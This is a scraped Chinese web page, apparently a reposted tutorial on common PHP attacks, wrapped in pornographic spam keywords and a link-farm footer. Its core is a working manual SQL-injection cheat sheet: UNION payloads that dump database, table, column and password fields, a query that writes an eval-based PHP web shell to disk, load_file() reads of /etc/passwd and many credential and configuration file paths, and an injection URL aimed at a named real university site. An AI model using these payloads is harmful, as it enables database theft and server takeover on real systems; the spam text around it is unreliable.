国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 語言 > PHP > 正文

PHP常見的幾種攻擊方式實例小結

2024-05-05 00:08:43
字體:
來源:轉載
供稿:網友

本文實例總結了PHP常見的幾種攻擊方式。分享給大家供大家參考,具體如下:

1.SQL Injection(sql注入)

①.暴字段長度 Order by num/*

②.匹配字段 and 1=1 union select 1,2,3,4,5…….n/*

③.暴露字段位置 and 1=2 union select 1,2,3,4,5…..n/*

④.利用內置函數暴數據庫信息

version() database() user()

不用猜解可用字段暴數據庫信息(有些網站不適用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

操作系統信息:

and 1=2 union all select @@global.version_compile_os from mysql.user /*

數據庫權限:

and ord(mid(user(),1,1))=114 /* 返回正常說明為root

暴庫 (mysql>5.0)

Mysql 5 以上有內置庫 information_schema,存儲著mysql的所有數據庫和表結構信息  and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數據庫(十六進制) limit 0(開始的記錄,0為第一個開始記錄),1(顯示1條記錄)—

猜字段

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進制)limit 0,1

暴密碼

and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1

高級用法(一個可用字段顯示兩個數據內容):Union select 1,2,3concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1

直接寫馬(Root權限)

條件:

①、知道站點物理路徑

②、有足夠大的權限(可以用select …. from mysql.user測試)

③、magic_quotes_gpc()=OFF

select '<?php eval($_POST[cmd])?>' into outfile '物理路徑' and 1=2 union all select 一句話HEX值 into outfile '路徑'

load_file() 常用路徑:

1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面兩個是查看一個PHP文件里完全顯示代碼.有些時候不替換一些字符,如 “<” 替換成”空格” 返回的是網頁.而無法查看到代碼.
3、load_file(char(47)) 可以列出FreeBSD,Sunos系統根目錄
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虛擬主機配置文件
5、c:/Program Files/Apache Group/Apache/conf /httpd.conf 或C:/apache/conf /httpd.conf 查看WINDOWS系統apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp開發的網站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統配置的JSP虛擬主機
8、d:/APACHE/Apache2/conf/httpd.conf
9、C:/Program Files/mysql/my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路徑
11、 c:/windows/system32/inetsrv/MetaBase.xml 查看IIS的虛擬主機配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬主機查看
15、 /etc/sysconfig/iptables 本看防火墻策略
16 、usr/local/app/php5 b/php.ini PHP 的相當設置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 紅帽子的系統版本
19 、C:/mysql/data/mysql/user.MYD 存在MYSQL系統中的用戶密碼
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相關設置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虛擬網站設置
23、C:/Program Files/RhinoSoft.com/Serv-U/ServUDaemon.ini
24、c:/windows/my.ini
25、c:/boot.ini

手工注射時出現的問題:

當注射后頁面顯示:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20

這是由于前后編碼不一致造成的,

解決方法:在參數前加上 unhex(hex(參數))就可以了。上面的URL就可以改為:

http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

既可以繼續注射了。。。

2.XSS (Cross Site Scripting)(跨站腳本攻擊)

3.Source Code Revelation(源代碼暴露)

可以用php.ini或者htaccess控制

<Files ~ "/.inc$">   Order allow,deny   Deny from all</Files>

4.Remote File Inclusion(遠程文件包含漏洞)

<?php$file = $_GET['file']; // “ ../../etc/passwd/0”if(file_exists('/home/wwwrun' . $file . '.php')){xxx}?>

5.Session Hijacking(session劫持)

6.Cross Site Request Forgery(跨站請求偽造)

7.Directory Traversal(目錄跨越)

希望本文所述對大家PHP程序設計有所幫助。


注:相關教程知識閱讀請移步到PHP教程頻道。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表

圖片精選

主站蜘蛛池模板: 新丰县| 南岸区| 罗山县| 临沧市| 靖江市| 法库县| 筠连县| 忻城县| 邳州市| 蓝田县| 盐源县| 元朗区| 滨州市| 芮城县| 天津市| 邳州市| 抚远县| 行唐县| 从化市| 招远市| 桑植县| 中宁县| 庄河市| 克什克腾旗| 兴宁市| 环江| 平原县| 衡山县| 湘潭市| 奉新县| 寻乌县| 敦煌市| 宁乡县| 四平市| 左云县| 水富县| 岐山县| 剑川县| 襄城县| 文登市| 瑞安市|